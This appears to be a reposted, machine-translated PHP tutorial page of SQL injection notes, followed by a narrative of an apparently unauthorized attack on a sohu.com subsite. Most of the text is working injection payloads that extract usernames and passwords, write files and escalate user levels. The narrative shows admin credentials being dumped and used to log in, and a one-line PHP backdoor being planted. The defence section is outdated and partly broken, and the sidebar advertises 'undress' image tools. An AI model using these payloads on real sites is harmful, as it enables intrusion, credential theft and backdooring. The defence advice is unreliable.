search
HomeBackend DevelopmentPHP TutorialPHP SQL injection process analysis_PHP tutorial

PHP SQL injection process analysis_PHP tutorial

Jul 21, 2016 pm 03:22 PM
phpsqlanalyzeBasicstudySkillinjectionofprocess

Today I learned basic skills about SQL injection from the Internet. The focus of SQL injection is to construct SQL statements. Only by flexibly using SQL
statements can we construct incredible injection strings. After studying, I wrote some notes and have them ready for use at any time. I hope you will understand the basic principles of SQL before reading the following content
. The code in the notes comes from the Internet.
 ===Basic part===
 This table query:
 http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password) ='6
 http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
 Union union statement:
 http://127.0. 0.1/injection/show.php?id=1' union select 1,username,password from user/*
 http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
 Export file:
 http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
 http://127.0.0.1 /injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
 http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt
 INSERT statement:
 INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username ', '$password', '$homepage', '1');
The constructed homepage value is: http://4ngel.net', '3')#
The SQL statement becomes: INSERT INTO ` user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');
 UPDATE statement: I like something like this
First understand this SQL sentence
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$ id'
If this SQL is modified into the following form, injection is achieved
1: Modify the homepage value to
http://4ngel.net', userlevel='3
Then the SQL statement becomes For
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
Userlevel is user level
2: Modify The password value is
Mypass)' WHERE username='admin'#
Then the SQL statement becomes
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage= '$homepage' WHERE id='$id'
3: Modify the id value to
' OR username='admin'
Then the SQL statement becomes
UPDATE user SET password='MD5($ password)', homepage='$homepage' WHERE id='' OR username='admin'
 ===Advanced part===
Commonly used MySQL built-in functions
 DATABASE ()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
 char()
 load_file()
 ……
 Function application
 UPDATE article SET title=DATABASE() WHERE id=1
 http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version ()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) is equivalent to angel, decimal
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
 http://127.0.0.1/injection /user.php?userid=1 and ord(mid(password,3,1))>111
Determine the number and type of fields in the data structure
http://127.0.0.1/injection/show. php?id=-1 union select 1,1,1
 http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)
 Guess the data table name
 http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members
 Cross-table query to get the user name and password
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1 from ymdown_user where id=1
Others
#Verify the first password
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1 ))=49
===Injection prevention===
Server aspect
Magic_quotes_gpc is set to On
Display_errors is set to Off
Encoding aspect
$keywords = addslashes($keywords) ;
$keywords = str_replace("_","_",$keywords);
$keywords = str_replace("%","%",$keywords);
Numeric type
Use intval() capture and replace
String type
Single quotes should be added to SQL statement parameters
The following code is used to prevent injection
if (get_magic_quotes_gpc()) {
//... .
 }else{
 $str = mysql_real_escape_string($str);
 $keywords = str_replace("_","_",$keywords);
 $keywords = str_replace("%" ,"%",$keywords);
 }
Useful functions
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
Addslashes()
Reference article:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL) Chinese
http://www.phpe.net/mysql_manual /06-4.html (MYSQL statement reference)
A security check on sohu.com
Published on Hacker Defense Line
Published at http://www.loveshell.net
sohu.com It is a relatively large portal website in China and provides many services including email. It is difficult for such a large website to avoid problems. As the saying goes, the more services there are, the less secure it is! This is true for both servers and websites. I recently learned about Mysql injection, so I did it on sohu.com by the way. A small security check to see if it has SQL injection vulnerabilities.
Looking at the main site of sohu.com, I found that they were almost all static, so I gave up the idea of ​​finding problems on the main site. After browsing directly on the various sub-sites of sohu.com, I found that most websites use Php scripts, and a few use jsp scripts. Based on experience, we know that for systems built with Php, the background database is generally It is Mysql, just like asp corresponds to Mssql. It seems that there are still many possible problems. Due to the characteristics of Php (Php converts characters such as ' in the passed parameters by default, so it is difficult to inject character type variables by default), generally we can only inject numeric type variables. Based on our usual injection knowledge, we know that the parameters passed in the form of id=XXX are generally numeric variables, so we only need to test those connections with php?id=XXX to find the vulnerability! After some careful search , I really found a problematic connection on XXX.it.sohu.com http://XXX.it.sohu.com/book/serialize.php?id=86
Submit:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=1/*
  Return to normal as shown in Figure 1.
Then submit:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*
Return no information as shown in Figure 2, it’s empty. It should be that the result of the SQL statement is empty.
From these two Urls, we can guess that the vulnerability exists, because the and 1=1 and and 1=2 we submitted are executed as Sql statements! Then other statements we submitted can also be executed. This It's Sql injected! We can also know that the id variable is treated as a number and is not placed between '', otherwise we will not succeed! If the variable does not filter other Sql keywords, we will be very successful. It may be successful! I have encountered many situations where variables filter the select, which is a dead end in mysql. It’s so depressing!
Since the loophole exists, let’s continue! The first thing is to detect the type and connection of the database. Database account! With high permissions and if the database and web are on the same machine, you can avoid the pain of guessing fields! Submit:
 http://XXX.it.sohu.com/book/serialize.php?id=86 and ord (mid(version(),1,1))>51/*
Return to normal as shown in Figure 3. This statement is to see if the database version is higher than 3, because the ASCII of 3 is 51! Version If the first character is greater than 51, of course it is 4.0 or above! 4.0 or above supports union query, so you can avoid the pain of guessing one by one! The result here is true, so the database is 4.0 or above, and it can be supported Union.
Since union query is supported, let’s expose the fields of this statement first! It will be very fast to use union to query anything in the future! Submit:
http://XXX.it.sohu.com/book /serialize.php?id=86 order by 10/*
The returned result is normal as shown in Figure 4. It seems that there are more than 10 fields. Continue to submit:
http://XXX.it.sohu.com/ book/serialize.php?id=86 order by 20/*
Return normally, submit:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 30/ *
 ...
When I ordered by 50, there was no information returned! It seemed that it was greater than 40 and less than 50, so I submitted:
http://XXX.it.sohu. com/book/serialize.php?id=86 order by 45/*
 ...
I finally guessed that the field is around 41! It is said left and right here because some fields cannot be sorted. So we still need to use union to accurately locate the field number is 41, submit:
 http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3 ,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ,29,30,31,32,33,34,35,36,37,38,39,40,41/*
The return result is as shown in Figure 5, haha, it was successful! Which fields will be displayed on the page? It’s clear at a glance! Now let’s continue! Submit:
 http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4 ,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
The return result is as shown in Figure 6. The detection of the database system is completed! We are very It may not be root, and the database server and web may not be on the same server. In this case, we will not have file permissions! Submit:
 http://XXX.it.sohu.com/book/serialize.php ?id=86 and (select count(*) from mysql.user)>0/*
The return result is as shown in Figure 7. There is no read permission for mysql, and I am more sure that the permission is not root! Haha!
Since you are not root, don’t be discouraged, let’s continue! Before further guessing the data, we’d better find the backend. Many times we find the administrator password but can’t find a place to log in. It’s very depressing! Add in the root directory Commonly used addresses in the backend such as /admin and /manage/ all return 404 errors. After guessing several times, I finally got a 403 Forbiden error when trying to admin in the /book/ directory. Haha, this directory exists! But the login page is alive and well. I can’t guess it, I’m depressed! But now that I know there is an admin, let’s search on Google:
admin site:sohu.com
As shown in Figure 8, we got the forum of another sub-site. We know the person It is very lazy. Usually the characteristics of the backend of a place are likely to be the characteristics of the entire website, so when I tried to access /book/admin/admuser.php, a miracle happened, as shown in Figure 9, haha, closer to success. Oh! Now we know the background of the website. In fact, we can also get very important information. Looking at the original file, we found that the name of the login form is name and password. It is easy to deduce the structure of the other party's administrator table, even if it does not match the It’s probably about the same, haha! So you know why we have to guess the background first! Keep injecting! Submit:
 http://XXX.it.sohu.com/book/serialize.php?id=86 and 1= 2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21 ,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*
  Return error, It means that the admin table does not exist. Try admins, admin_user, etc., and finally submit:
 http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user (),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24 ,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
when it returns successfully, haha! There is User This table! So is it an administrator table? What are the fields? Continue to submit:
 http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25, 26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
 Error returning empty information, submit:
 http ://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37, 38,39,40,41 from user/*
 The return result is as shown in Figure 10. Haha, it returns normally and a password comes out. It should be the password of the first user in the administrator table! So what is his user name? ? I guessed that many fields returned errors. When I had no choice but to enter an ID, the return was successful! The ID is the administrator’s name! Submit:
 http://XXX.it.sohu.com/book/ serialize.php?id=86 and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19 ,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
The return result is as shown in Figure 11, haha, I got the administrator’s name! I excitedly took the administrator’s name and password to the backend and logged in successfully! As shown in Figure 12.Now it’s time to think about how to get the webshell. I found a place to upload pictures in the background, but when I uploaded the php file, it prompted that it was not an image file. I was depressed! I carefully rummaged around in the background for a while and found that there was a The function of generating PHP files, so a one-sentence PHP backdoor was inserted into it, as shown in Figure 13. After clicking Generate, the prompt was successful. It seems that if there is no filtering, we should get the webshell. The password is a. Use one-sentence backdoor to connect As shown in Figure 14, haha, it was successful! The script detected that this was successfully completed!
After getting the webshell, I checked on the server and found that the security of the server was good, but the command could not be executed, and basically all Directories are not writable except for the directory we just uploaded. However, as a script test, it is considered successful if we get the webshell! It can also be seen that a small parameter without filtering can lead to the collapse of the website, especially Large websites like sohu.com have more parameters, so you need to pay more attention to filtering issues!

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/324786.htmlTechArticleI learned basic skills about SQL injection from the Internet today. The focus of SQL injection is to construct SQL statements. Only by using SQL statements flexibly can we construct incredible injection strings. After learning...
Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
PHP Dependency Injection Container: A Quick StartPHP Dependency Injection Container: A Quick StartMay 13, 2025 am 12:11 AM

APHPDependencyInjectionContainerisatoolthatmanagesclassdependencies,enhancingcodemodularity,testability,andmaintainability.Itactsasacentralhubforcreatingandinjectingdependencies,thusreducingtightcouplingandeasingunittesting.

Dependency Injection vs. Service Locator in PHPDependency Injection vs. Service Locator in PHPMay 13, 2025 am 12:10 AM

Select DependencyInjection (DI) for large applications, ServiceLocator is suitable for small projects or prototypes. 1) DI improves the testability and modularity of the code through constructor injection. 2) ServiceLocator obtains services through center registration, which is convenient but may lead to an increase in code coupling.

PHP performance optimization strategies.PHP performance optimization strategies.May 13, 2025 am 12:06 AM

PHPapplicationscanbeoptimizedforspeedandefficiencyby:1)enablingopcacheinphp.ini,2)usingpreparedstatementswithPDOfordatabasequeries,3)replacingloopswitharray_filterandarray_mapfordataprocessing,4)configuringNginxasareverseproxy,5)implementingcachingwi

PHP Email Validation: Ensuring Emails Are Sent CorrectlyPHP Email Validation: Ensuring Emails Are Sent CorrectlyMay 13, 2025 am 12:06 AM

PHPemailvalidationinvolvesthreesteps:1)Formatvalidationusingregularexpressionstochecktheemailformat;2)DNSvalidationtoensurethedomainhasavalidMXrecord;3)SMTPvalidation,themostthoroughmethod,whichchecksifthemailboxexistsbyconnectingtotheSMTPserver.Impl

How to make PHP applications fasterHow to make PHP applications fasterMay 12, 2025 am 12:12 AM

TomakePHPapplicationsfaster,followthesesteps:1)UseOpcodeCachinglikeOPcachetostoreprecompiledscriptbytecode.2)MinimizeDatabaseQueriesbyusingquerycachingandefficientindexing.3)LeveragePHP7 Featuresforbettercodeefficiency.4)ImplementCachingStrategiessuc

PHP Performance Optimization Checklist: Improve Speed NowPHP Performance Optimization Checklist: Improve Speed NowMay 12, 2025 am 12:07 AM

ToimprovePHPapplicationspeed,followthesesteps:1)EnableopcodecachingwithAPCutoreducescriptexecutiontime.2)ImplementdatabasequerycachingusingPDOtominimizedatabasehits.3)UseHTTP/2tomultiplexrequestsandreduceconnectionoverhead.4)Limitsessionusagebyclosin

PHP Dependency Injection: Improve Code TestabilityPHP Dependency Injection: Improve Code TestabilityMay 12, 2025 am 12:03 AM

Dependency injection (DI) significantly improves the testability of PHP code by explicitly transitive dependencies. 1) DI decoupling classes and specific implementations make testing and maintenance more flexible. 2) Among the three types, the constructor injects explicit expression dependencies to keep the state consistent. 3) Use DI containers to manage complex dependencies to improve code quality and development efficiency.

PHP Performance Optimization: Database Query OptimizationPHP Performance Optimization: Database Query OptimizationMay 12, 2025 am 12:02 AM

DatabasequeryoptimizationinPHPinvolvesseveralstrategiestoenhanceperformance.1)Selectonlynecessarycolumnstoreducedatatransfer.2)Useindexingtospeedupdataretrieval.3)Implementquerycachingtostoreresultsoffrequentqueries.4)Utilizepreparedstatementsforeffi

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

Powerful PHP integrated development environment

SecLists

SecLists

SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

MinGW - Minimalist GNU for Windows

MinGW - Minimalist GNU for Windows

This project is in the process of being migrated to osdn.net/projects/mingw, you can continue to follow us there. MinGW: A native Windows port of the GNU Compiler Collection (GCC), freely distributable import libraries and header files for building native Windows applications; includes extensions to the MSVC runtime to support C99 functionality. All MinGW software can run on 64-bit Windows platforms.

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor